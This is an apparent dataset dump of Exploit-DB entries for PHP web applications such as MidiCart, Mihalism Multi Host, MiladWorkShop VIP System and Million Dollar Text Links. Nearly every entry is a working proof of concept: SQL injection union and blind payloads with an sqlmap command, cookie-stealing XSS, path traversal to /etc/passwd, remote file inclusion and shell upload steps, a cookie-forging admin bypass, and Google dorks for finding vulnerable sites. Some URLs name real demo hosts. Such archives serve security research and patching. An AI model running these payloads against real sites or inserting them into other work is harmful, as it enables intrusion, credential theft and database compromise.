deardaniel/secdata-raw huggingface dataset:
Exploit-DB #21894
Description: Midicart PHP - Information Disclosure
Type: webapps
Platform: php
Date: 2002-10-02
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/5851/info

A problem with the default installation of Midicart PHP may make it possible for remote users to gain access to sensitive information.

The default installation of Midicart PHP does not place sufficient access control on files residing in the 'admin' folder. Files in this folder are meant to be accessed by privileged individuals and may contain sensitive information.

http://<site>/admin/credit_card_info.php
Exploit-DB #12636
Description: MidiCart PHP/ASP - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-05-17
Author: DigitALL

Exploit:
# Exploit Title: MidiCart PHP,ASP Shell Upload Vulnerability

# Date: 17.05.2010

# Author: DigitALL

# Software Link:
http://download.cnet.com/MidiCart-PHP-Shopping-Cart/3000-2649_4-10064577.html

# Version: All Version

# Tested on: DigitALL Xp Version x1

# Code :

[dork] : inurl:"order_money.php" or inurl:"order_money.asp" or "MidiCart PHP
Database Management"

[exploit] : Go To /admin/ &#304;f No Password(%80 No Password) Go To /add.php
Your Shell Upload.Shell Go To /images/shell.php

[other] : No Upload Shell Edited Categories Or Add Categories Hacked for
Script Kiddies :)

[thanks] : Efe KroNicKq NoFearx38 and All 1923Turk.com Members

[site] ://  www.1923turk.com // www.digitallsecurity.org //
digit4ll.blogspot.com // www.hacker-zone.org // www.kankardes.com //
Exploit-DB #35796
Description: MidiCMS Website Builder - Local File Inclusion / Arbitrary File Upload
Type: webapps
Platform: php
Date: 2011-05-25
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/47970/info

MidiCMS Website Builder is prone to a local file-include vulnerability and an arbitrary-file-upload vulnerability.

An attacker can exploit these issues to upload arbitrary files onto the webserver, execute arbitrary local files within the context of the webserver, and obtain sensitive information.

MidiCMS Website Builder 2011 is vulnerable; other versions may also be affected. 

http://www.example.com/admin/jscripts/tiny_mce/plugins/ezfilemanager/index.php
http://www.example.com/?html=../../../../../../../../../../boot.ini%00
Exploit-DB #20872
Description: mieric AddressBook 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2012-08-28
Author: Jean Pascal Pereira

Exploit:
-----------------------------------------------------
mieric addressBook 1.0 <= SQL Injection Vulnerability
-----------------------------------------------------

Discovered by: Jean Pascal Pereira <pereira@secbiz.de>

Vendor information:

"MieRic address book is wrote in PERL and holds data via a MYSQL database.
Users can add multiple EMAIL, ADDRESS, PHONE, CONTACTS, IMAGE AVATAR and
PGP keys as they want. The addressBook is password protected using encrypted
cookies using Blowfish encrypt."

Vendor URI: http://sourceforge.net/projects/mieric/

----------------------------------------------------

Risk-level: High

The application is prone to a SQL injection vulnerability.

----------------------------------------------------

no.pl, line 256:

     if($type eq 'bio_action')
   {
$last = $input{'last'};
$first = $input{'first'};
$avatar = $input{'avatar'};
$age = $input{'age'};
$bio = $input{'bio'};
$web = $input{'address'};
$web1 = $input{'address1'};
$sub_action = $input{'sub_action'};

#  $sql = "INSERT INTO email_rollo (id,email,location) VALUES ('$command','$email','$location')";
#UPDATE `phone_rollo` SET `p1` = '243' WHERE `id` = '1' AND `p1` = '242' AND `p2` = '3118' AND `area` = '573' AND `location` = 'country' LIMIT 1 ;
  # $email =~ s/\@/\\@/;
  if($sub_action eq 'update'){
$sql = "UPDATE stoli SET last = '$last', first = '$first', avatar='$avatar', bday='$age', bio='$bio', web='$web', web1='$web1' WHERE id = '$command'"; 
     # executing the SQL statement.
   $sth = $dbh->prepare($sql) or die "preparing: ",$dbh->errstr;
   $sth->execute or die "executing: ", $dbh->errstr;

----------------------------------------------------

Solution:

Do some input validation.

----------------------------------------------------
Exploit-DB #5901
Description: MiGCMS 2.0.5 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2008-06-22
Author: CraCkEr

Exploit:
???????????????????????????????????????????????????????????????????????????????
??                             C r a C k E r                                ??
??          T H E   C R A C K   O F   E T E R N A L   M I G H T             ??
??????????????????????????????????????????????????????????????????????????????

 ?????      From The Ashes and Dust Rises An Unimaginable crack....      ?????
??????????????????????????????????????????????????????????????????????????????
??                         [ Remote File Include ]                          ??
??????????????????????????????????????????????????????????????????????????????
:   Author   : CraCkEr                : :                                    :
?   Group    : uNiTeD CraCkiNg ForCE  ? ?                                    ?
?   Script   : MiGCMS 2.0.5           ? ?         Register Globals :         ?
?   Download : SourceForge.net        ? ?                                    ?
?   Method   : GET                    ? ?          [?] ON   [ ] OFF          ?
?   Critical : High [????????]        ? ?                                    ?
?   Impact   : System access          ? ?                                    ?
? ????????????????????????????????????? ???????????????????????????????????? ?
?                              DALnet #crackers                             ??
??????????????????????????????????????????????????????????????????????????????
:                                                                            :
?  Release Notes:                                                            ?
?  ?????????????                                                             ?
?  Typically used for remotely exploitable vulnerabilities that can lead to  ?
?  system compromise.                                                        ?
?                                                                            ?

??????????????????????????????????????????????????????????????????????????????
??                             Exploit URL's                                ??
??????????????????????????????????????????????????????????????????????????????
  

http://localhost/path/lib/obj/collection.class.php?GLOBALS[application][app_root]=[SHELL]
http://localhost/path/lib/obj/content_image.class.php?GLOBALS[application][app_root]=[SHELL]



??????????????????????????????????????????????????????????????????????????????
 
Greets:
       The_PitBull, Raz0r, iNs, Sad, CwG GeNiuS

??????????????????????????????????????????????????????????????????????????????
??                              © CraCkEr 2008                              ??
??????????????????????????????????????????????????????????????????????????????


# milw0rm.com [2008-06-22]
Exploit-DB #4808
Description: Mihalism Multi Forum Host 3.0.x - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-12-29
Author: GoLd_M

Exploit:
    ########                  ######              ####                ######  ######
  ##      ##                    ##                  ##                  ####  ####  
  ##              ######        ##            ####  ##                  ####  ####  
  ##            ##      ##      ##          ##    ####                  ##  ##  ##  
  ##    ######  ##      ##      ##    ##    ##      ##                  ##      ##  
  ##      ##    ##      ##      ##    ##    ##      ##                  ##      ##  
    ######        ######      ##########      ##########              ######  ######
                                                        ##############              

####################################################################################
###### Mihalism Multi Forum Host <= v3.0.x Remote File Inclusion Vulnerability #####
###### Script Page : http://www.mihalism.com/misc/downloads/                   #####
###### POC :                                                                   #####
###### /ScriptPage/source/includes/load_forum.php?mfh_root_path=http://Shell   #####
###### D0rK :                                                                  #####
###### Mihalism Multi Forum Host Â© 2007                                        #####
###### GREETZ TO :                                                             #####
###### TrYaG-TeaM , H-T Team , RoMaNcYxHaCkEr , Asb-May's Team & ALL           #####
####################################################################################

# milw0rm.com [2007-12-29]
Exploit-DB #37680
Description: Mihalism Multi Host - 'users.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-08-25
Author: Explo!ter

Exploit:
source: https://www.securityfocus.com/bid/55237/info

Mihalism Multi Host is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Mihalism Multi Host 5.0 is vulnerable; other versions may also be affected. 

http://www.example.com/users.php?act=register&return=/><sCrIpT>alert('Explo!ter')</sCrIpT>
Exploit-DB #4812
Description: Mihalism Multi Host 2.0.7 - 'download.php' Remote File Disclosure
Type: webapps
Platform: php
Date: 2007-12-30
Author: GoLd_M

Exploit:
    ########                  ######              ####                ######  ######
  ##      ##                    ##                  ##                  ####  ####  
  ##              ######        ##            ####  ##                  ####  ####  
  ##            ##      ##      ##          ##    ####                  ##  ##  ##  
  ##    ######  ##      ##      ##    ##    ##      ##                  ##      ##  
  ##      ##    ##      ##      ##    ##    ##      ##                  ##      ##  
    ######        ######      ##########      ##########              ######  ######
                                                        ##############              

####################################################################################
###### Mihalism Multi Host v2.0.7 download.php Remote File Disclosure Vuln     #####
###### Script Page :  :(                                                       #####
###### POC :                                                                   #####
###### /Script/download.php?file=../../../../../../../../../../../etc/passwd   #####
###### D0rkS :                                                                 #####
###### Powered by Mihalism Multi Host v2.0.7                                   #####
###### Powered by Mihalism Multi Host v2.0.5                                   #####
###### Powered by Mihalism Multi Host v2.0.4                                   #####
###### Powered by Mihalism Multi Host v2.0.3 MBF                               #####
###### Powered by Mihalism Multi Host v3.1.1 Final                             #####
###### GREETZ TO :                                                             #####
###### TrYaG-TeaM , H-T Team , RoMaNcYxHaCkEr , Asb-May's Team & ALL           #####
####################################################################################

# milw0rm.com [2007-12-30]
Exploit-DB #12224
Description: Mihalism Multi Host 4.0.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-04-14
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Mihalism Multi Host V 4.0.0 Upload Vulnerability      
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Home     : www.iqs3cur1ty.com                                                                              
| # Web Site : http://www.p30vel.ir/
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       
| # Bug      : upload                                                                      
======================      Exploit By indoushka       =================================
 # Exploit  : 
 
 1 - http://127.0.0.1/Mihalis/index.php (Use Tamper Data)
 
 2 - http://127.0.0.1/Mihalis/images/02j3gul0lkay3ggoz5ci.php (File Name)


Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad * XproratiX * onurozkan * n2n * ========================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R http://www.ilegalintrusion.net/foro/
www.securityreason.com * www.sa-hacker.com * Cyb3r IntRue (avengers team) * www.alkrsan.net * www.mormoroth.net
---------------------------------------------------------------------------------------------------------------
Exploit-DB #16143
Description: MihanTools Script 1.3.3 - SQL Injection
Type: webapps
Platform: php
Date: 2011-02-09
Author: WHITE_DEVIL

Exploit:
# Exploit Title: MihanTools Script SQL Injection Vunerability  
# Platform: php  
# Date: 09.02.2011  
# Author: WHITE_DEVIL  
# Software Link: http://www.mihantools.ir/   
# Version: all version  
# Tested on: Windows Sp2  
# Mail: Mr.web70@yahoo.com  
# Dork: inurl:product.php?id= *Powered by MihanTools* 
# Exploit:  

http://localhost/product.php?id=-1+union+select+version(),2,3,4,5,6,7,8,9,10,11,12,13,14--  
  

# Greetings:  
IRAQ_JAGUAR, Joker_Sql, Karar_Alshami, Karar_Aljbory
Exploit-DB #48218
Description: MiladWorkShop VIP System 1.0 - 'lang' SQL Injection
Type: webapps
Platform: php
Date: 2020-03-16
Author: AYADI Mohamed

Exploit:
# Exploit Title: MiladWorkShop VIP System 1.0 - 'lang' SQL Injection
# Google Dork: Powered By MiladWorkShop VIP System
# Date: 2020-03-03
# Exploit Author: AYADI Mohamed
# email : ayadi.mohamed@outlook.com
# Vendor Homepage: https://miladworkshop.ir/
# Software Link: https://miladworkshop.ir/vip.html
# Version: 1.x
# Tested on: Kali Linux (sqlmap)
# CVE : N/A


[ SQL injection exploitation ]

Address : http://vip.target/forget
Request Type : Post

Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: lang=en AND 3-4400' OR 6146=6146-- ivGZ21=6 AND 000wM2X=000wM2X

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: lang=en AND 3' AND (SELECT 2915 FROM (SELECT(SLEEP(50)))StCO)-- vkVG21=6 AND 000wM2X=000wM2X

example :
sqlmap -u "http://vip.target/forget" --data lang=en'%20AND%203*2*1%3d6%20AND%20'000wM2X'%3d'000wM2X --random-agent --banner --ignore-prox --hex --level 3 --risk 3 --time-sec=6 --timeout 100 --tamper="between.py"


[ XSS exploitation ]
http://vip.target/%22%3E%3Cimg%20src=%22aa%22%20onerror=%22alert(1)%22%3E%3C

#creetz to all Morrocans cyber security
Exploit-DB #12792
Description: MileHigh Creative - SQL Injection / Cross-Site Scripting / HTML Injection
Type: webapps
Platform: php
Date: 2010-05-29
Author: XroGuE

Exploit:
=======================================================================
# MileHigh Creative (SQL/XSS/HTML Injection) Multiple Vulnerabilities
=======================================================================
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
1 #################################### 1
0 I'm XroGuE member from Inj3ct0r Team 1
1 #################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

########################################################################
# Name: MileHigh Creative (SQL/XSS/HTML Injection) Multiple Vulnerabilities
# Vendor: http://www.milehighcreative.com
# Date: 2010-05-29
# Author: XroGuE
# Thanks to: Inj3ct0r.com,Exploit-DB.com,SecurityReason.com,Hack0wn.com !
# Contact: Xrogue_p3rsi4n_hack3r[at]Hotmail[Dot]com
# Home: (-_+)
########################################################################

[+] Dork: inurl:"contentPage.php?id=" & inurl:"displayResource.php?id=" & ...
intext:"Website by Mile High Creative"


[+] Vulnerabilities:

contentPage.php
contentFolder.php
displayResource.php


[+] XSS InjecTion Vulnerability:


[+] Demo:
http://server/contentPage.php?id=
http://server/displayResource.php?id=
http://server/contentFolder.php?parentId=

0R

http://server/contentPage.php?id=
http://server/displayResource.php?id=
http://server/contentFolder.php?parentId=

########################################################################

[+] HTML InjecTion Vulnerability:
[+] Demo: http://server/contentPage.php?id=<marquee><font color=Blue size=15>XroGuE</font></marquee>

########################################################################

[+] SQL InjecTion Vulnerability:
[+] Demo: http://server/contentFolder.php?parentId=1+and+1=1 [and+1=2]


########################################################################
Exploit-DB #34703
Description: Million Dollar Pixel Ads - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2009-07-24
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43443/info

Million Dollar Pixel Ads is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Million Dollar Pixel Ads Platinum is vulnerable; other versions may also be affected. 

http://www.turnkeysetup.net/demos/million/search.php?keywords=1&selectcategory=1+union+select+version()--&submit=search

http://www.turnkeysetup.net/demos/million/buy1.php?category=11&place="><script>alert(document.cookie);</script>
http://www.turnkeysetup.net/demos/million/index2.php?category="><script>alert(document.cookie);</script>
http://www.turnkeysetup.net/demos/million/search.php?keywords=1&selectcategory="><script>alert(document.cookie);</script>
Exploit-DB #8830
Description: Million Dollar Text Links 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2009-05-29
Author: Qabandi

Exploit:
                  ||          ||   | ||
           o_,_7 _||  . _o_7 _|| q_|_||  o_w_,
          ( :   /    (_)    /           (   .  


=By: 	Qabandi
=Email:	iqa[a]hotmail.fr

	From Kuwait PEACE

=Vuln:		Million Dollar Text Links <= 1.0 SQL injection
=INFO:		http://www.cmsnx.com/product.demo.php?id=12
=BUY:  		http://www.cmsnx.com/product.purchase.php?id=12
=DORK:		----


@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@-SQL-@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

LIVE DEMO:
http://www.kalptarudemos.com/demo/million/admin.link.modify.php?id=-6%20UNION%20SELECT%201,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4,5,6,7,8,9--

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=-=-=-==-=-=-==-Cookies<3==-=-==-=luv-=-them-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-==-=-=-=-=-=-No-More---Private=-=-=-=-=-=-=-=-=-=-=-=-=-=-
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Salamz: Killer Hack, Mr.Mn7os, Ghost-r00t, All muslim hackers.

# milw0rm.com [2009-05-29]
Exploit-DB #8605
Description: Million Dollar Text Links 1.0 - Arbitrary Authentication Bypass
Type: webapps
Platform: php
Date: 2009-05-04
Author: ThE g0bL!N

Exploit:
---------------------------------------------------------------
---------------------------------------------------------------
Million Dollar Text Links 1.0 Authenication Bypass
---------------------------------------------------------------

Founder : ThE g0bL!N
Home:WwW.h4ckF0u.CoM
Vendor:http://www.kalptarudemos.com
---------------------------------------------------------------
---------------------------------------------------------------
Million Dollar Text Links 1.0 Authenication Bypass:
------------------------------------------------
http://victim/[path]/admin.php
Then Go to
http://victim/[path]/admin.home.php
Booooooom Control Bypassed :) And You Have ALL Permission :=)

--------------------------------------
Dem0
----
http://www.kalptarudemos.com/demo/million/admin.php
--------------------------------------

Greeting To ALL My Friends (Dz)
----------------------------------------------------------------

# milw0rm.com [2009-05-04]
Exploit-DB #8813
Description: Million Dollar Text Links 1.x - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2009-05-27
Author: HxH

Exploit:
----------------------------------------------------------------
Million Dollar Text Links Insecure Cookie Handling Vulnerability
----------------------------------------------------------------

Author.: HxH
Contact: HxH[at]live[dot]at

---------------------------

Script.: Million Dollar Text Links 1.0
Home...: http://cmsnx.com/product.about.php?id=12

-------------------------------------------------

Exploit: javascript:document.cookie="userid=1; path=/";

-------------------------------------------------------

demo...: http://kalptarudemos.com/demo/million/admin.php

--------------------------------------------------------

Greetz.: No-Exploit.com Members

-------------------------------

# milw0rm.com [2009-05-27]
Exploit-DB #33401
Description: Million Pixel Script 3 - 'pa' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-14
Author: bi0

Exploit:
source: https://www.securityfocus.com/bid/37315/info

Million Pixel Script is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Million Pixel Script 3, 3 Pro, and 3 Pro Lotto are vulnerable; other versions may also be affected. 


The following example URI is available:

http://www.example.com/?pa=[XSS]